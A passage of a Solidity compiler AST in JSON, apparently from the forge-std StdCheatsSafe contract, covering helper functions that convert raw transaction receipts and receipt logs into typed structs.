(uint256)"}},"id":4952,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17041:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17014:68:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4954,"nodeType":"ExpressionStatement","src":"17014:68:3"},{"expression":{"id":4962,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4955,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17092:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4957,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17100:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3670,"src":"17092:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4959,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17127:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4960,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17138:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3641,"src":"17127:22:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4958,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17114:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17114:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17092:58:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4963,"nodeType":"ExpressionStatement","src":"17092:58:3"},{"expression":{"id":4971,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4964,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17160:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4966,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17168:4:3","memberName":"logs","nodeType":"MemberAccess","referencedDeclaration":3684,"src":"17160:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4968,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17201:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4969,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17212:4:3","memberName":"logs","nodeType":"MemberAccess","referencedDeclaration":3655,"src":"17201:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}],"id":4967,"name":"rawToConvertedReceiptLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5127,"src":"17175:25:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceiptLog memory[] memory) pure returns (struct StdCheatsSafe.ReceiptLog memory[] memory)"}},"id":4970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17175:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"src":"17160:57:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":4972,"nodeType":"ExpressionStatement","src":"17160:57:3"},{"expression":{"id":4978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4973,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17227:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4975,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17235:9:3","memberName":"logsBloom","nodeType":"MemberAccess","referencedDeclaration":3686,"src":"17227:17:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4976,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17247:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4977,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17258:9:3","memberName":"logsBloom","nodeType":"MemberAccess","referencedDeclaration":3657,"src":"17247:20:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"17227:40:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":4979,"nodeType":"ExpressionStatement","src":"17227:40:3"},{"expression":{"id":4985,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4980,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17277:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4982,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17285:15:3","memberName":"transactionHash","nodeType":"MemberAccess","referencedDeclaration":3692,"src":"17277:23:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4983,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17303:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4984,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17314:15:3","memberName":"transactionHash","nodeType":"MemberAccess","referencedDeclaration":3663,"src":"17303:26:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"17277:52:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4986,"nodeType":"ExpressionStatement","src":"17277:52:3"},{"expression":{"id":4987,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17346:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"functionReturnParameters":4877,"id":4988,"nodeType":"Return","src":"17339:14:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceipt","nameLocation":"16407:21:3","parameters":{"id":4873,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4872,"mutability":"mutable","name":"rawReceipt","nameLocation":"16447:10:3","nodeType":"VariableDeclaration","scope":4990,"src":"16429:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt"},"typeName":{"id":4871,"nodeType":"UserDefinedTypeName","pathNode":{"id":4870,"name":"RawReceipt","nameLocations":["16429:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"16429:10:3"},"referencedDeclaration":3666,"src":"16429:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"visibility":"internal"}],"src":"16428:30:3"},"returnParameters":{"id":4877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4876,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4990,"src":"16490:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4875,"nodeType":"UserDefinedTypeName","pathNode":{"id":4874,"name":"Receipt","nameLocations":["16490:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16490:7:3"},"referencedDeclaration":3695,"src":"16490:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"src":"16489:16:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":5127,"nodeType":"FunctionDefinition","src":"17366:873:3","nodes":[],"body":{"id":5126,"nodeType":"Block","src":"17521:718:3","nodes":[],"statements":[{"assignments":[5005],"declarations":[{"constant":false,"id":5005,"mutability":"mutable","name":"logs","nameLocation":"17551:4:3","nodeType":"VariableDeclaration","scope":5126,"src":"17531:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":5003,"nodeType":"UserDefinedTypeName","pathNode":{"id":5002,"name":"ReceiptLog","nameLocations":["17531:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17531:10:3"},"referencedDeclaration":3783,"src":"17531:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":5004,"nodeType":"ArrayTypeName","src":"17531:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"}],"id":5013,"initialValue":{"arguments":[{"expression":{"id":5010,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17575:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17583:6:3","memberName":"length","nodeType":"MemberAccess","src":"17575:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5009,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"17558:16:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.ReceiptLog memory[] memory)"},"typeName":{"baseType":{"id":5007,"nodeType":"UserDefinedTypeName","pathNode":{"id":5006,"name":"ReceiptLog","nameLocations":["17562:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17562:10:3"},"referencedDeclaration":3783,"src":"17562:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":5008,"nodeType":"ArrayTypeName","src":"17562:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}}},"id":5012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17558:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"17531:59:3"},{"body":{"id":5122,"nodeType":"Block","src":"17641:571:3","statements":[{"expression":{"id":5032,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5024,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17655:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5026,"indexExpression":{"id":5025,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17660:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17655:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5027,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17663:10:3","memberName":"logAddress","nodeType":"MemberAccess","referencedDeclaration":3765,"src":"17655:18:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5028,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17676:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5030,"indexExpression":{"id":5029,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17684:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17676:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5031,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17687:10:3","memberName":"logAddress","nodeType":"MemberAccess","referencedDeclaration":3743,"src":"17676:21:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"17655:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5033,"nodeType":"ExpressionStatement","src":"17655:42:3"},{"expression":{"id":5042,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5034,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17711:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5036,"indexExpression":{"id":5035,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17716:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17711:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5037,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17719:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3767,"src":"17711:17:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5038,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17731:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5040,"indexExpression":{"id":5039,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17739:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17731:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5041,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17742:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3745,"src":"17731:20:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"17711:40:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":5043,"nodeType":"ExpressionStatement","src":"17711:40:3"},{"expression":{"id":5054,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5044,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17765:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5046,"indexExpression":{"id":5045,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17770:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17765:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5047,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17773:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3769,"src":"17765:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5049,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17800:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5051,"indexExpression":{"id":5050,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17808:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17800:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5052,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17811:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3747,"src":"17800:22:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5048,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17787:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17787:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17765:58:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5055,"nodeType":"ExpressionStatement","src":"17765:58:3"},{"expression":{"id":5064,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5056,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17837:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5058,"indexExpression":{"id":5057,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17842:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17837:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5059,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17845:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3771,"src":"17837:12:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5060,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17852:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5062,"indexExpression":{"id":5061,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17860:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17852:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5063,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17863:4:3","memberName":"data","nodeType":"MemberAccess","referencedDeclaration":3749,"src":"17852:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"17837:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5065,"nodeType":"ExpressionStatement","src":"17837:30:3"},{"expression":{"id":5076,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5066,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17881:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5068,"indexExpression":{"id":5067,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17886:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17881:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5069,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17889:8:3","memberName":"logIndex","nodeType":"MemberAccess","referencedDeclaration":3773,"src":"17881:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5071,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17913:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5073,"indexExpression":{"id":5072,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17921:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17913:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5074,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17924:8:3","memberName":"logIndex","nodeType":"MemberAccess","referencedDeclaration":3751,"src":"17913:19:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5070,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17900:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5075,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17900:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17881:52:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5077,"nodeType":"ExpressionStatement","src":"17881:52:3"},{"expression":{"id":5086,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5078,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17947:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5080,"indexExpression":{"id":5079,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17952:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17947:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5081,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17955:6:3","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":3776,"src":"17947:14:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5082,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17964:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5084,"indexExpression":{"id":5083,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17972:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17964:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog 